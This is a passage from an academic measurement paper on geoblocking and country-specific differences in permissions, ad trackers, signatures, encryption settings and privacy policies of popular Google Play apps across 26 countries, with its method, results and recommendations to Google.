an app within a batch in all 26 countries.

Data Collection. We download from ten countries simul-
taneously. For parallel downloads, we set up ten Linux mea-
surement machines and ten Google Pixel 2 phones running
Android 10, as shown in Figure 3. We set up these phones
with one Google account per country. The Linux servers are
set up with a multipass virtual machine [83], one per country,
based on the vantage point’s bandwidth and constraints of the
host. To proxy download traffic, we set up an SSH tunnel to
each VPS and use proxychains4 as a SOCKS proxy [96]).

We download 5,684 apps and their metadata in batches
varying from 100–500 apps depending on the network con-

ditions from all 26 countries on the same day. On average,
we download a batch within a 9.5-hour window between the
earliest and latest country. We download all batches in 15
days (June 2020).

Checks & Precautions. We deployed several mechanisms
to mitigate transient download errors. We randomize app
downloads and use a pre-calibrated rate-limit for each coun-
try. We retry every failed download until two consecutive
retry attempts for the same app return the same error. Using
a separate Google account for each country eliminates the
possibility of fetching cached content. We also clear the Play
Store cache on the phones between downloads. For countries
that use a VPN vantage point, we also check for run-time
changes to geolocation every 50 app downloads. We manu-
ally verify download error logs each day. For network errors
that are not transient, we additionally re-crawl a random set
of apps each day to confirm failures. We discard the day’s
download for all countries if a country is unreachable on a
given day.

Scraper Implementation. We customize two scrap-
ers to download an apk and its metadata from Google
Play. The Google Play scrapers are Python modules—
PlaystoreDownloader and google-play-scraper—that send
HTTPS requests to a URL containing an app’s ID (as de-
scribed in section 2) [54, 94]. The apk scraper requires the
device’s ID and Google account credentials. To scrape pri-
vacy policy, we first get an app’s privacy policy link from
its metadata and use a Selenium crawler to download the
policies [104].

Data Extraction. Considering our goal is a large-scale
geographic study of apps, we only examine an app’s static
features. We use aapt and aapt2 [13] to extract an app’s
permissions, version, and encrypted communication settings.
In cases where aapt fails, we use apktool [20] to get de-
coded data from the apk. For app signature, we combine
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Error Code Error Message Error Reason

Err1 Item not found Takedown
Err2 Google Play purchases are not supported in your country. Unfortunately you will not be able to complete

purchases
Developer-blocking

Err3 Your device is not compatible with this item Device-targeting
Err4 This item is not available on your service provider Not registered with the service provider
Err5 The Play Store application on your device is outdated and does not support this purchase Missing payment and billing info
Err6 The item you were attempting to purchase could not be found Possibly incorrect device location or billing

setup error by developer
Err7 Caused by SSLError (bad handshake) Possibly network interference

Table 2: Download Errors. This table shows the error messages observed from failed app download requests to Google Play and the error
codes we assign. Error reasons are our findings that clarify why these errors occur, specifically whether it is a takedown or developer-blocking.

results from keytool [68] and apksigner [13]. For extracting
third-party libraries, we use two tools used in prior research,
libradar and ExodusPrivacy [4, 35, 55, 75]. libradar
returns a mixed list of third-party libraries present in an app.
Given there is no clear way to filter ad libraries from that list,
we use ExodusPrivacy specifically to collect ad and analyt-
ics libraries. To extract policy text from a privacy policy web
page, we use ReadabiliPy and Beautiful Soup [101, 102].

Ethics. All the data used for this study is collected using
our own mobile devices with traffic proxied through non-
residential VPN/Ses we purchased. For all purchases, we
used our real identities and agreed to comply with the terms
and conditions of the hosting provider. In our preliminary
testing to validate vantage points, we developed and shared
a mobile app (including its source code) with our collabo-
rators (all security researchers) to fetch app metadata from
Google Play. The app collected no personal or device data.
Our collaborators gave us informed consent and the collected
data was discarded after successful tests. We reported all our
findings to Google.

4 Data Characterization & Exploration

Using our measurement testbed, we successfully downloaded
5,385 of our initial list of 5,684 apps from at least one country.
In all, we collected 117,233 app instances and 112,607 privacy
policy instances from 26 countries. These apps are from
22 different categories, with 5,667 free and 17 paid apps,
2,365 apps that support in-app purchases, and 1,120 apps that
provide content rating descriptions. The majority of these
apps (86%) were last updated in 2020, indicating that most
apps are actively maintained. We leverage this large-scale
and diverse app data to investigate geodifferences. To the best
of our knowledge, ours is the most extensive multi-country
app collection in the research community.

While we successfully downloaded a large portion of the
app instances from our vantage points, surprisingly, we dis-
covered many apps that failed to download, with 299 apps
that failed to download from any country. The download error
messages varied for these apps. Given that there is limited
knowledge of why these errors occur, we perform in-depth
exploratory research to characterize these failures.

4.1 Characterizing Download Errors

While downloading the apps, we observed various error mes-
sages that range from “Item not found” or “purchase not sup-
ported in your country” to “device not compatible”. Table 2
shows all the error messages and our assigned error codes.
These error messages from the failed download requests to
Google Play are opaque and do not clearly communicate
why the download fails. As noted in subsection 2.1, we are
specifically interested in discovering whether the errors result
from a non-compliance takedown, a government-requested
takedown, or developer-blocking. Therefore, we perform con-
trol experiments using apps that are publicly known to be
unavailable for the above reasons.

We find that our control apps that are known to be taken
down by Google fail with Err1. The error is the same for
both government-requested takedowns (e.g., LinkedIn in
Russia), and non-compliance takedowns (e.g., Luna VPN -
com.luna.vpn [106])1. However, for government-requested
takedowns, Google removes the app only from the country
issuing the order. In contrast, Google’s non-compliance take-
downs are applied to all 26 countries, confirming that such
takedowns are global. Of course, if the developer decides to
unpublish (remove) an app from everywhere, that also returns
Err1 (global developer takedown), though we believe such oc-
currences are rare given our data consists of globally popular
apps. We verify this by unpublishing our test app.

For the control apps that are known to be developer-blocked
(e.g., SkypeLite in India [82]), we find Err2. We verify this
by publishing our test app on Google Play and confirming
Err2 when downloading from countries where we manually
chose to block the app. We observe Err3 when some of our
control apps fail to download because of developers device
targeting their apps (e.g., Samsung’s Secure Folder). Our apps
that are carrier targeted (e.g., Sprint Music) fail to download
with Err4. All paid apps fail with Err5 because Google Play
requires a user’s payment and billing information, which we
did not set up. Finally, a few apps fail with Err6 in select

1Our characterization for takedowns rely on Google’s transparency re-
port. Google uses “government requests” as an umbrella term for content
removal requests from the following requesters: judicial, executive, suppres-
sion orders, consumer protection authority, information and communication
authority, court order directed at Google, government officials, and others.
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countries. Though Google’s official documentation provides
no insights, public reports (e.g., Google discussion groups)
suggest that this error is due to incorrect billing set up by the
developer or conflict in the device’s country settings with a
user’s actual location [52, 107].

Error Characterization for 299 Unavailable Apps. Con-
sidering that we seed our initial list from app metadata in five
countries with high FHIF scores, it was surprising that 299
apps (5.3%) failed to download from all of our 26 countries
for the following reasons. Using the error characterization
from our control experiment above, we find that 143 apps
failed to download with Err1, suggesting either Google’s non-
compliance takedowns or global developer takedowns. 126
apps fail with Err3 because of incompatibility with our mea-
surement device. All 17 paid apps fail to download with
Err5, and four apps specific to a service provider fail with
Err4. One app, it.mirko.transcriber, is the only app
that is developer-blocked (Err2) and is flagged “early access”
by the developer indicating its limited release [49]. The re-
maining eight apps fail due to takedowns in some countries
and developer-blocking or “not found” in others. Subsequent
download checks show that they were removed from Google
Play, indicating that Google or the developer may have been
in the process of removing these apps entirely. We exclude
all 299 apps for the remainder of this study.

SSL Errors in Tunisia. Tunisia was unique among our
countries in that a large number of apps (1,819), but not all,
consistently failed to download with SSL bad handshake error
(Err7), even on repeated attempts. We confirmed that these
errors are not because of client and server misconfigurations
through a series of tests, which we describe in Appendix B.
We treat these apps that failed with SSL bad handshake error
as unavailable in Tunisia for this study.

Characterizing Availability Inconsistency. From a user’s
perspective, an app is available if: (1) its Google Play home-
page (or metadata) has a download link; and (2) the actual
apk is downloadable. Our data shows that there are apps that
have a download link yet are not downloadable. For instance,
in Tunisia, 1,948 apps that have a download link in metadata
could not be downloaded. The difference is less in the remain-
ing countries, with between 101 apps in Iran and 154 apps in
the US not downloaded, despite having a download link. We
flag these apps as unavailable in our study. Conversely, we
also observe 13 apps (e.g., Google Pay, YouTube) that have no
download link in Iran, yet the apk is downloadable by going
to its URL directly. We consider these apps as unavailable in
Iran as a user cannot access them. These observations point
to a bigger issue when reporting on app availability—we find
that measurements that only use app metadata consistently
overestimate availability. A previous study [119] on app cen-
sorship measured availability based on app metadata alone,
which we show is insufficient. For our study, we consider

both conditions—a user’s access to an app’s download link
and the apk.

4.2 Characterizing Security and Privacy

Security Features. In this section, we outline the security
choices made by app developers in three of Android’s no-
table security features—permissions, settings for encrypted
communication, and app signature. We extract permissions
from our collected apps and classify them into one of the
four Android protection levels based on Android 10’s source
code and developer documentation [8]. Collectively, our apps
request 4,816 unique permissions, of which only 229 are
core Android permissions. Of the 229 core permissions, 32
are Dangerous, 67 are Normal, 53 are Signature, and 77 are
SignatureOrSystem permissions. The remaining 4,587 per-
missions are custom and vendor-specific permissions, which
we exclude as there is no clear way to assign a protection
level to them.

Regarding encrypted communication, 2,825 apps (52%)
explicitly disable encrypted communication in at least one
country through the app’s network security configuration file.
The remaining apps either explicitly enable encrypted com-
munication or use the system’s default settings, which may
be set to unencrypted communication depending on the An-
droid version. Regarding app signatures, only two apps are
signed using multiple signature schemes, as recommended by
Google. While more than 70% of apps use the V2 signature
algorithm, about 12% (663) of apps use V1, which is known
to be vulnerable [122, 125]. Surprisingly, two apps also use
Android’s Debug certificate, which is not accepted by most
app stores [12]. Apps also use deprecated hashing methods
and weak key lengths [86, 87, 122, 125]; e.g., 2,358 apps use
SHA1 with RSA, and 1,735 use 1024 bit keys with RSA.

Third-party Libs. We examine the third-party libraries in
our apps, focusing on ad trackers. From the list of 400 trackers
that Exodus Privacy looks for, we find a total of 274 unique
trackers that are globally popular. We find 407 apps with no
ad trackers (e.g., org.torproject.android). Consistent
with existing reports [21, 33, 81], the top ad and analytics li-
braries in our apps are Google’s—Firebase Analytics, AdMob,
CrashLytics, Analytics—and Facebook’s—Login, Share, An-
alytics, Ads, Places. Excluding ad trackers, the top five third-
party libraries in our apps are com/google/android/gms
(Google Mobile Services), android/support/v4 (Android
support), com/google/gson (JSON conversion), okhttp3
(HTTP client), and com/google/zxing (Barcode process-
ing).

Privacy Policies. We use a semi-automated approach to
characterize the 112,608 privacy policies collected from 26
countries. A manual perusal of these policies shows that many
downloaded pages are, in fact, error pages. To disambiguate
an error (block) page from a valid policy page, we follow
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the approach taken by prior web censorship research [66, 80].
Using word count as a measure of page length, we study the
distribution of word counts of all pages and find a threshold of
200 words reasonable to separate an error page from a policy
web page. We further look for privacy-specific keywords in
these pages, as we expect error pages to omit them. After
excluding identical policies of an app, we apply the above
heuristics on the remaining 17,025 policies and get 4,234
error pages. From the remaining non-error pages, we extract
8,737 English policy pages using Python’s langdetect. We
manually verify the disambiguated error and policy pages.

Besides finding error pages instead of privacy policies even
where the app downloads, we observe other violations. For
instance, 76 apps have no privacy policy link on their Google
Play homepage, and another 56 apps have broken links or ex-
pired domains, all of which are explicit violations of Google’s
policy [45]. About half of these apps request Dangerous per-
missions, suggesting no disclosures on an app’s access to
sensitive information.

5 Results on Geodifferences

After characterizing and cleaning up our data, we investigate
the prevalence of geodifferences in our 5,385 apps that are
popular on Google Play. First, we discuss geoblocking, a type
of geodifference in which an app is blocked to users from
a particular country or region. Then, we describe another
form of geodifference where an app’s security and privacy
offerings may vary based on the region.

5.1 Geoblocking

Even though Google Play is the most accessible app mar-
ket, our data still suggests geoblocking in all 26 countries
in our study. Of the 5,385 apps, 3,672 apps are geoblocked
in at least one country. Iran (IR) and Tunisia (TN) have the
highest blocking by a wide margin, with 2,256 and 2,681
apps geoblocked. Surprisingly, geoblocking varies in the
other countries, with 300 apps blocked in the US to 800 apps
blocked in Zimbabwe (ZW), indicating high variability based
on the region. Compared to prior geoblocking investigation
on the web [80], the blocking we observe is significantly high,
even though our data consists of apps with millions of users
globally. On the web, the maximum observed geoblocking
was 71 domains from the Alexa top 10K sites in the most
affected countries [80].

We next investigate the availability of each app across coun-
tries for all apps to detect potential blocking trends. We first
compute the similarity between two countries Ci and C j, as:

S(Ci,C j) =
|GCi ∩GC j |+ | ∼ GCi∩ ∼ GC j |⋃

i ∼ GCi

(1)

where, for country Ci, GCi is the set of apps that are
geoblocked and ∼ GCi is the set of apps not geoblocked, and
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Figure 4: Geoblocking per Cluster: The countries are grouped by
cluster, with geoblocking per country on the left axis and the inter-
section of geoblocked apps per cluster on the right axis. Each app is
a data point on the x-axis (percentile when sorted by the number of
geoblocked countries) shown in solid colors when geoblocked.

⋃
i ∼GCi is the number of apps not geoblocked in at least one

country (here, 5,385). We then use Ward’s minimum variance
method [67] to perform agglomerative clustering with the
Hamming distance between countries computed as S(Ci,C j).

Figure 4 shows geoblocking in the 26 countries grouped by
cluster, with the blocking per country on the left axis and the
intersection of geoblocked apps within a cluster on the right
axis. We find that the African countries experience the most
geoblocking. Countries within the same region (e.g., the four
EU countries) tend to have the same apps geoblocked, though
minor variations exist. IR, TN, US, Canada (CA), and India
(IN) are outliers and not clustered with any region.

We further investigate whether there exists a correlation
between a country’s app availability with its FHIF score
and GDP using Spearman’s rank correlation coefficient met-
ric [41]. We find a moderate negative correlation (ρ=-0.58,
p-value = 0.002) between a country’s app availability and
GDP. On the other hand, there is a moderate positive correla-
tion (ρ= 0.64, p-value=0.001) between app availability and
FHIF score. Despite the FHIF score’s positive correlation
with availability, we observe a few exceptions. For instance,
CA, which has a higher FHIF score, has more geoblocking
than the US and UK. Turkey (TR) and UAE (AE), which have
very low FHIF scores, have higher availability than Japan (JP)
and South Korea (KR). These exceptions could be because
Freedom House, as far as we know, focuses only on govern-
ment blocking of social media and communication apps [40].
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5.2 Who is Blocking?

While the statistics on geoblocking are valuable, we also
want to know who is behind the blocking and the plausible
reasons for such blocking. In this section, we are specifically
interested in government-requested takedowns and developer-
blocking of apps that are available in at least one country.

Government-requested takedowns. We observe that 61
unique apps are subject to government-requested takedowns
(e.g., com.truecaller in TR, mobi.jackd.android in
KR, and com.mi.globalbrowser.mini in the US). KR,
specifically, has the most government-requested takedowns
with 36 apps removed. The US has more than the median
number of takedowns, while many countries with lower avail-
ability, particularly ZW, Bahrain (BH), Kenya (KE), and
Egypt (EG), have the lowest of such takedowns.

We find a case of a government-requested takedown due
to a violation of regional content regulation. For instance,
in KR, 36 apps are taken down, of which 17 are gambling
and game apps. This finding is consistent with reports of the
Korean government’s aggressive policy to block the distribu-
tion of apps with adult content, violence, or gambling [46].
Interestingly, KR is also an outlier in the categories DATE,
ENT, LIFE, NEWS, and SOC, though to a lesser extent.

Certain app categories see more takedowns even when no
government regulations appear to be violated. For instance,
COMM apps encounter more takedowns in TR, and PHOT
apps in IN. While countries with higher than the median
geoblocking such as IR, RU, and TN are outliers in certain
categories such as DATE, GAME, LIFE, surprisingly, coun-
tries such as the US, UK, and DE with lower geoblocking
rates also are outliers in others such as BUS, TOOL, SHOP.
Figure 5 (left) shows the distribution of government-requested
takedowns by category and the outliers in each.

Developer-blocking. Compared to government-requested
takedowns, we find that the proportion of apps that
are developer-blocked is significantly higher in all coun-
tries and app categories, and has the most influence
on geoblocking in the mobile domain. 2,419 (44.9%)
unique apps are developer-blocked in at least one country
(e.g., free.vpn.unblock.proxy.turbovpn in Hong Kong
(HK), com.google.android.apps.books in Israel (IL),
com.twitter.android.lite in the US). Consistent with
prior web geoblocking study [80], IR is the most developer-
blocked country with more than 50% blocking in eight cate-
gories and is the top outlier in every category.

While overall, countries within the same region (and
hence, cluster) tend to have the same apps geoblocked, a
closer look within a region shows different amounts of
developer-blocking. For instance, the EU countries, UK,
Germany (DE), Ireland (IE), and Hungary (HU) have 559,
580, 666, and 725 apps blocked, respectively. Examples
of apps that are blocked differently in the EU countries
are Paypal’s com.izettle.android, which is blocked
only in IE and HU, com.lego.catalogue.global
that is blocked in the UK, IE, and DE, and
com.google.android.apps.walletnfcrel and
com.yahoo.mobile.client.android.search, both
of which are blocked only in HU. Such region-specific
differences in blocking may be a result of either local laws or
consumer market segmentation for business.

We find 8 apps that are developer-blocked only in our four
EU countries, possibly due to GDPR legislation. For instance,
the news app com.usatoday.android.news, the largest
gay social networking app, com.blued.international,
and com.ebates are developer-blocked only in all four EU
countries. While Facebook’s Messenger for Kids is known to
be geoblocked in our EU countries due to GDPR compliance
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number of apps with geodifferences in the specific feature is shown
on the left. The number of apps with intersecting geodifferences
(indicated by the dark circles) are annotated above. "Other" indicates
features outside of the security and privacy related features in bold.

issues [115], we find that it is blocked in other countries like
Ukraine (UA), Israel (IL), HK, RU, and KR as well.

Certain countries have more developer-blocking in certain
categories. For instance, the African countries in our study—
KE, ZW, TN, and EG— appear in seven out of the top 10
developer-blocked categories. JP has the most developer-
blocking in VID and EDU, RU in COMM, and HU in NEWS
apps. Consistent with prior research on the web [80], SHOP
and FOOD apps are the most developer-blocked everywhere,
possibly because these apps are often region-specific and
involve financial transactions in local currency. However,
contrary to that work, we find that EDU and MED are the least
developer-blocked. Figure 5 (right) shows the distribution of
developer-blocked categories and the outliers in each.

Countries also vary in the developer-blocking of the special-
interest apps (security, privacy, ad blocker, crypto, and VPN)
we study. The top three countries that have the most developer-
blocking of these apps are IR, ZW, and HK with 298, 79, and
78 apps blocked, respectively. While prior research has noted
high blocking of VPN apps in RU [119], we find HK and
TR (25 and 17 apps) have higher blocking of VPN apps than
RU (15 apps). The higher blocking in HK and RU of VPN
apps is consistent with the recent upsurge of surveillance laws
there [59, 117].

Although our data consists of free apps, some support in-
app purchases that may cause US sanctions to play a role
in geoblocking in embargoed countries like IR, ZW, and
Venezuela (VE). Amongst the embargoed countries, IR has
much higher blocking when compared to ZW and VE. While
Google prevents in-app purchases in IR, they are supported
in VE and ZW [48]. Despite this, we find that developers
disable in-app purchases in all apps in VE and ZW.

5.3 Geodifferences in Security and Privacy

Until now, we studied the phenomena of geoblocking in the
mobile app ecosystem. In this section, we go beyond and

ask whether the apps available in more than one country have
geodifferences that lead to differences in security and privacy
offerings to users in a region. To the best of our knowledge,
we are the first to conduct such a study.

Despite using a measurement design that ensures app up-
dates to be rare, we observe geodifferences in 596 apps as
seen by a binary diff of our apks across countries. To confirm
that the observed number of apps with geodifferences is sta-
tistically higher than the expected number of app updates, we
conduct a z-test by considering each app as a sample and the
presence of geodifference in an app as a binary value. With
this, we define the null hypothesis as the average percentage
of apps with geodifferences (11.1%, here) to be less than or
equal to the average percentage of apps updated on a given
day (N(1.1, 0.05) from preliminary experiments in section 3).
The resulting p-value of 0 is less than the significance level
0.05, which allows us to reject our null hypothesis and confirm
a significantly large number of apps with geodifferences.

The presence of apps with geodifferences is consistent with
Google’s country targeting feature that allows developers to
distribute different versions to different countries [43]. Since
we expect apps with geodifferences to also have version dif-
ferences, we study app versions and find that not all of these
apps have differences in an app’s user-facing version. While
all 596 apps have differences in the internal versions, 11 apps
have the same user-facing versions in all available countries2.

Figure 6 shows the distribution of geodifferences in app
features. We find apps with geodifferences in privacy policies
(sometimes even when their apks have no geodifferences),
permissions, signatures, settings for encrypted communica-
tion, third-party libraries, and in other app features such as
assets and app components. Below, we focus on geodiffer-
ences in security and privacy related features in more detail.
While overall, the geodifferences appear to be more prominent
in certain countries, we did not observe regional differences
related to localization.

Permissions Requested. We compare an app’s permissions
in all 26 countries and determine the number of additional
requested permissions in each country. The number of extra
permissions requested by an app a in a country is computed as
|Pac−Pa|, where Pac is the set of permissions requested by the
app in country c, and Pa =∩i∈CountriesPai is the intersection of
requested permissions in countries where the app is available.

We found 127 apps that exhibit geodifferences in per-
missions requested. On average, the most frequently re-
quested extra permissions are READ_EXTERNAL_STORAGE
and READ_PHONE_STATE, both Dangerous, and RECEIVE_-
BOOT_COMPLETED, which is Normal. We find 49 apps that
request Dangerous permissions only in certain countries. For
instance, the app com.fun.top.video has two Dangerous

2There are two app versions in an app’s manifest—a version that is
displayed on the app’s home page on Google Play, which we call the user-
facing version, and an internal developer version.
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Figure 7: Extra Permissions– The Y-axis shows unique number of
extra permissions requested of each type. X-axis paranthesis shows
# apps requesting extra permissions in each country. Most apps
only request a handful of extra permissions, the median being four.
“Other” indicates custom or vendor specific permissions

permissions (ACCESS_BACKGROUND_LOCATION and CAMERA)
only in AE, BH, IR, and TN. com.honor.global has one
extra permission ACCESS_FINE_LOCATION only in DE and
UK. On average, we observe apps in BH, TN, CA, and
DE to request the most extra Dangerous permissions (e.g.,
READ_EXTERNAL_STORAGE and READ_PHONE_STATE). Fig-
ure 7 shows the breakdown of extra permissions of each per-
mission type by country.

We analyze app categories that request extra Dangerous
permissions. We find that five categories request extra Dan-
gerous permissions most often—LIFE, VID, DATE, ENT,
and TOOL. While it makes sense for TOOL and VID apps to
request Dangerous permissions, it is surprising that DATE and
LIFE apps request extra Dangerous permissions, especially
only in certain countries. For instance, com.datemyage and
com.netatmo.camera, request READ_EXTERNAL_STORAGE
and RECORD_AUDIO permissions in only 11 and 3 countries,
respectively.

Third-party Libs. Similar to how we compute the number
of extra permissions requested, we compute the number of
extra third-party libraries in an app per country, focusing
on ad trackers. We found 118 apps with additional ad
trackers, with the top five most included ad trackers being
Integral Ad Science, Moat, and Facebook’s—Analytics,
Places, and Share. On average, IR has the most extra ad
trackers, followed by KE and UA. Figure 8 shows the
geodifferences in extra ad trackers per country. There
are outlier apps in every country, notably in IR and KE
where the app com.outfit7.movingeye.swampattack
includes 15 additional ad trackers. com.uc.vmate and
com.mapfactor.navigator request 10 additional ad track-
ers each, the former in IE and UA, and the latter in BH, HK,
IL, KE, US, and VE. The median number of extra ad tracker
per country is one (e.g., com.shareitagain.bigemoji
includes AdColony only in DE and IN). The top cat-
egories with the most extra ad trackers are GAME
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Figure 8: Extra Ad Trackers. The number of apps with geodiffer-
ences in ad trackers per country is shown in parenthesis on the X
axis. While the majority of apps only include one extra ad tracker in
certain countries, there are outliers present in all countries, with one
app including 15 extra ad trackers in both IR and KE.

(e.g., com.outfit7.movingeye.swampattack),
ENT (e.g., com.graymatrix.did), and SOC (e.g.,
messenger.chat.social.messenger.lite). Overall,
on average, TN, AE, and UA have the most extra third-party
libraries.

Encrypted Communication. We find 23 apps that selec-
tively use unencrypted communication settings for some coun-
tries. For instance, com.honor.global (which has two ad-
ditional Dangerous permissions only in UK and DE) uses
encrypted communication only in DE and UK. Three of the
apps that have geodifferences in this communication setting
are VPN apps. For instance, com.vpnproxy.connect uses
unencrypted communication only in UK, TN, and VE.

Signature Algorithms. We find that 16 apps have geod-
ifferences in the signature algorithms used, suggesting
that some apps in certain geolocations are at a higher
security risk from using weak signatures. For instance,
com.thomsonreuters.reuters, which is available ev-
erywhere except TN, is signed with just the signature
scheme V1 in 16 countries, including the US, CA,
and DE, and uses the V2 scheme in other countries.
ca.bell.selfserve.mybellmobile uses V1, V2, and V3
signature schemes everywhere, except in JP and MX, where
the app does not use the V3 signature scheme. This is against
Google’s recommendation of signing the apps with all three
signature schemes for maximum security [12].

Privacy Policy. We find 103 apps with geodifferences in
privacy policies. Our data shows that regional legislation
such as the GDPR in the EU and the CCPA in the US [63,
108] actually have a positive influence on app developers.
However, we also find that countries not covered by CCPA or
GDPR have a higher privacy risk. For example, 71 apps from
Google have additional clauses to comply with GDPR only
in our EU countries and for the CCPA only in the US. While
the US policy of gbis.gbandroid was updated recently in
2020 to comply with CCPA, the privacy policies in countries
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with older legislation (e.g., AU - Privacy Act 1988) were
last updated in 2017 [31]. Norwegian company Opera has
six apps, including com.opera.browser, with policies that
use two different data protection standards: European in the
European Economic Area and Singaporean in other countries.

We find instances of privacy policies that fail to download
even when the apps themselves are available. Privacy pol-
icy downloads of 37 apps returned 403 Forbidden errors (at
least once in all countries), and for another 20 apps, returned
explicit server-side blocking error pages (at least once in 21
countries). Notably, 12 policies hosted on Google’s App En-
gine (GAE) did not download in IR because GAE is blocked
due to embargo rules there [77]. We could not download
the privacy policy for org.openobservatory.ooniprobe
(hosted on ooni.torproject.org) in TR, where Tor is known
to be blocked [91] and org.telegram.messenger in IR,
where Telegram is blocked [38]. Surprisingly, we received
the IR government blockpage for policy URLs of four apps
(e.g., com.geekslab.applockpro ).

While we expect privacy policies to differ across regions
when apps request different Dangerous permissions, we found
28 apps with identical privacy policies despite having geodif-
ferences in requested Dangerous permissions. Additionally,
not all privacy policy URLs point to a valid policy page as
required by Google. For example, the policies of the apps
com.jagbani and net.bitburst.pollpay link to a com-
pany website and to a deactivated page, respectively.

6 Limitations & Future Work

Our work is the first large-scale data-driven study into the
prevalence of geodifferences in the mobile app ecosystem.
We chose to look at the popular apps where we expected
developers to put effort to maintain the apps. Any geodiffer-
ences observed in these apps greatly impact users because of
their popularity (and we found many). There may be region-
specific trends that can be discovered by further studying the
long tail of less popular apps on Google Play.

While we contribute significantly to characterizing geodif-
ferences and who is responsible for them in the mobile app
ecosystem, we are limited in our study on why these geodif-
ferences exist. Prior work on web geoblocking summarizes
the motivations for geoblocking to be one or more factors
such as data protection law, economic sanctions, revenue,
national security, political censorship, or unintentional [118].
They emphasize that distinguishing between these motives is
hard given how they are interdependent on each other. Thus,
future work could include focused investigations to distill the
reasoning i.e., from financial to data protection or others, and
their impacts on users, or study popular regional apps itself to
understand that. Currently, we only examine an app’s static
features, and future studies could use results from runtime
behavior analysis of apps within a region.

Though our study is focused on Google Play, future work

could do a broader study that includes other app markets.
Our study is limited to 26 countries and 5,684 popular apps.
While we consider our choice of countries reasonable for
a first geographic study, additional countries could provide
more insights. We use the FHIF score as a metric for country
selection following prior work on the web but acknowledge a
potential bias in the metric [109]. Hence, we do not draw any
large conclusions based on the metric.

7 Discussion

We focus on Google Play because it is the largest and the
most accessible app market. Our findings suggest differences
in app equity as a result of geoblocking and geodifferences
in apps. We find certain countries experiencing more block-
ing than others, alarming cases of the same apps asking for
different permissions in different countries, and overt viola-
tions of privacy disclosures in some countries, to name a few.
While Google has taken some steps towards a transparent
ecosystem [9], the geodifferences that we observe are not
generally known due to lack of research in this space. Our
work highlights the shortcomings in Google’s auditing of the
app ecosystem.

There are a few steps that Google and other global app
market proprietors (e.g., Amazon Appstore) could take to ad-
dress some of the issues we find. For instance, Google could
consider pushing for transparency from developers to specify
regional differences in app features, including permissions,
ad trackers, and privacy policies. Google could also do better
testing for an app’s compliance with its existing guidelines
(e.g., on privacy policy and signatures) across countries since
our study discovers both non-compliance and geodifferences
for the same app. Considering that auditing external links are
hard, Google could host an app’s privacy policy themselves to
track policy changes. Google could provide an app’s release
history (as provided by some app markets like APKMirror
and Apple’s AppStore), which could help audit developer
behavior in the ecosystem.

Developers on Google Play have fine-grained access to
country and device targeting features. Prior web geoblocking
studies have shown how an unrestricted country targeting fea-
ture provided by Cloudflare, a web CDN, led to significant
blocking, isolating certain countries more than the others [80].
In 2018, Cloudflare reverted to its older business model that
limited country targeting only to their enterprise customers.
In the mobile app ecosystem too, we note certain countries
(e.g., Iran) that are more isolated than the others, even though
the apps we study are all free apps and popular apps. We
believe that some of the geoblocking is partly because devel-
opers have unrestricted access to country targeting features
on Google Play. Global centralized app market owners like
Google can prevent exacerbating this divide.

Recently there have been several instances of governments
relying on Google Play to ban content. In June 2020, the
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Indian government banned 59 Chinese apps [114]. Per our
longitudinal metadata, Google took down the apps in India on
July 2, 2020, less than a week after the government issued a
public notice. A similar pattern emerged in the US when the
government threatened to ban Chinese apps like Tiktok [112].
These were high-profile takedown threats. But, our work
shows that takedowns can also happen without much public
knowledge or debate. As a platform owner, Google could
provide better insights on why they removed each app in
its transparency reports [44] and clearly disclose the reason
an app is not available in a country on the app’s homepage.
Detailed transparency reports coupled with informative error
messages (as in the web ecosystem) will enable researchers
and third parties to audit the app market for app equity and for
citizenry to be better informed on reasons for unavailability.

Potentially as a result of Google’s policies in some coun-
tries, regional app markets are becoming increasingly popular.
For instance, Google’s approach towards Iranian apps and
developers [36, 116] has likely contributed to the popularity
of local app markets like Cafe Bazaar in Iran. We find that
some apps that are developer-blocked on Google Play are
available on Cafe Bazaar, potentially driving users to the lo-
cal app market. What is concerning here is that these local
app markets may not necessarily have adequate app vetting
policies. Moreover, app market owners may provide altered
versions of apps to users; a user has no straightforward way
to distinguish an altered app from a legitimate one.

8 Related Work

Geoblocking has garnered much attention from regulating
organizations in recent years. In a bid to curtail discrimina-
tory practices by service providers through geoblocking, the
EU commission introduced regulations in 2017 to prevent
unjustified geoblocking, and foster an unfragmented digital
market [34]. A study by the Australian parliament in 2013
found exorbitant prices in Australian markets due to geoblock-
ing and concluded that geoblocking should be regulated [26].

Prior research has studied geoblocking in the web ecosys-
tem. Tschantz et al. conducted a preliminary study on the
motivations for server-side geoblocking and showed that root-
causing the reasons for blocking is non-trivial [118]. Mc-
Donald et al. performed a wide-scale measurement study on
geoblocking by customers of web CDNs by using Cloudflare’s
CDN as a case study [80]. Afroz et al. used a combination of
automated page loads, manual checking, and traceroutes to
confirm geoblocking of developing countries [1].

Geoblocking by mobile app markets has been studied at
limited scale. Ververis et. al [119] looked at censorship
of 11 censorship-circumvention apps in Russia and China
by querying public search engines of app markets (Google,
Apple, Tencent). In a recent study on digital filtering in
Saudi Arabia, authors noted an increasing availability of 18
mobile apps from none in 2017 to 93% in 2019 [3]. Some

studies on Apple’s and Google’s app markets examine app
admissions and removals to understand their reasons for such
decisions [22, 58, 70, 76, 121], but do not discuss geoblocking
or geodifferences in app features.

Prior research has looked at finding privacy policy viola-
tions by analyzing policy texts and apps [6, 7, 126], char-
acterizing and querying privacy policies [56], and studying
differences in the policies of free and paid apps [55]. Sun
et al. showed that policies generated by automated privacy
policy generators (APPG) are often incomplete [110]. Lon-
gitudinal studies of web privacy policies show that longer
policies are slow to comply with recent legislation such as the
GDPR [5, 30, 71]. Shen et al. conducted a study on the types
of sensitive information that leak from mobile apps [105].

Research on app markets such Google Play and Tencent
has studied their app auditing processes, transparency ef-
forts, impact of app releases, download distribution of apps,
app monetization schemes, and behavior of app develop-
ers [65, 78, 79, 93, 120, 123, 127]. Lim et al. [69] conducted
a large-scale survey on mobile app user behavior that affects
app market downloads. Other large scale studies examined
update behavior of apps on Google Play [113], update timing
delay [88], update frequency [95] and target fragmentation as
a result of developers targeting older Android versions [84].

9 Conclusion

We performed the first large-scale study of geodifferences in
the mobile app ecosystem as seen by users in 26 countries.
We designed and implemented a parallel, semi-automatic
measurement testbed using which we collected 5,684 popular
mobile apps from Google Play in our countries using direct
measurement vantage points. Our data showed high amounts
of geoblocking in all 26 countries. While we corroborated
anecdotal instances of takedowns due to government requests,
we found that blocking by developers had the most influence
on the geoblocking. We also found instances of developers
that release different app versions to different countries, with
some apps having weaker security settings and privacy disclo-
sures. Based on our findings, we provided recommendations
for app market proprietors to address the issues we found.
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A Regional similarity

A world map of countries and their clusters based on app
